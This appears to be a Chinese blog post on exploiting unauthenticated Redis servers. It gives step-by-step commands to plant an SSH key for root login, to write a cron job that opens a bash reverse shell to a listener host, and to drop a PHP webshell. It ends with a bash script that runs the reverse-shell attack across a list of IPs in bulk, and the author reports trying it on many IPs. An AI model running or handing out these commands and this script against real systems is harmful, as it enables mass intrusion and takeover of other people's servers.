Redis未授權訪問+批量自動getshell指令碼
阿新 • • 發佈:2020-09-21
Redis未授權訪問+批量自動getshell指令碼
漏洞產生條件
- redis繫結在 0.0.0.0:6379,且沒有對登入IP做限制,直接暴露在公網。
- 沒有設定密碼(預設為空)。
漏洞危害
- 攻擊者無需認證訪問到內部資料,可能導致敏感資訊洩露,黑客也可以惡意執行flushall來清空所有資料;
- 攻擊者可通過EVAL執行lua程式碼,或通過資料備份功能往磁碟寫入後門檔案;
- 最嚴重的情況,如果Redis以root身份執行,黑客可以給root賬戶寫入SSH公鑰檔案,直接通過SSH登入受害伺服器。
漏洞復現
下載安裝:
https://redis.io/download
分別為穩定版和不穩定版本。
解壓安裝
tar -zxvf redis-6.0.8.tar.gz # 解壓
gcc -v # 依賴於gcc apt install gcc
cd redis-6.0.8
make # 編譯安裝
# 開始編譯了幾次都不成功,後面升級了gcc版本就一步到位了。
安裝完畢後彈出結果不一樣也無所有,只要redis-service, redis-cli檔案存在即可。
cd src cp redis-server /usr/bin/ cp redis-cli /usr/bin/ cd … cp redis.conf /etc/ redis-server /etc/redis.conf # 使用/etc/目錄下的redis.conf檔案中的配置啟動redis服務
驗證漏洞
如果沒有redis-客戶端環境也可下載視覺化客戶端進行連線。連線密碼為空,不過工具有點問題,時常連不上。
https://github.com/caoxinyu/RedisClient/releases/tag/2.0.0
GetShell
一: 公私鑰認證獲取root許可權
- ssh免密配置
前提是受害者的機器上存在 /root/.ssh/ 目錄。
- 攻擊者生成ssh公私金鑰
ssh-keygen -t rsa
# 一直回車即可
- 在攻擊者機器上將金鑰寫入受害者機器
cd .ssh/ (echo-e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > redistest.txt #將生成的公鑰儲存到redistest.txt cat redistest.txt | redis-cli -h 受害者ip -x set redistest #將儲存ssh公鑰的redistext.txt寫入redis
5.登入受害者IP檢視
redis-cli -h 受害ip config get dir config set dir /root/.ssh config set dbfilename authorized_keys save
- 進行ssh登入嘗試
ssh -i id_rsa root@ip -p 22 # 需要root
二: 計劃任務反彈shell
- 條件: redis以root身份執行
- 在伺服器用nc監聽
nc -lvvp 1234
2 .連線redis後寫入shell
redis-cli -h 192.168.246.130 config set dir /var/spool/cron set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/1234 0>&1\n" config set dbfilename root save
三:絕對路徑寫webshell
- 條件: 知道網站絕對路徑
config set dir /home/wwwroot/default/ config set dbfilename redis.php set shell "<?php phpinfo(); ?>" save
Shell指令碼批量反彈
- 條件: 客戶端上裝了redis-cli
#!/bin/bash getshell(){ echo "-----分割線-----" redis-cli -h $i 2>&1 <<eeooff config get dir config set dir /var/spool/cron set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/1234 0>&1\n" config set dbfilename root save exit eeooff echo done! } ip=$IFSa if [ $# -ne 1 ];then echo "Usage $0 filename" exit fi if [ ! -f $1 ];then echo " $1 is not a file" exit fi if [ -f log.txt ];then echo "log.txt existing" `rm -f log.txt` fi IFS=$'\n' for i in `cat $1` do echo $i getshell >>log.txt #sleep 3s echo $i >> log.txt done
執行完後會生成一個log.txt檔案。
未開放埠
不存在/var/spool/cron目錄
save失敗,一般是沒許可權
像這種的就是成功了
手工測試了好多ip,雖然存在未授權訪問漏洞的有很多。但是能利用的很少,出現最多的就是許可權不足。和目錄不存在,只要有許可權save就可以考慮別的方法getshell。
如果哪裡有錯誤請指出改正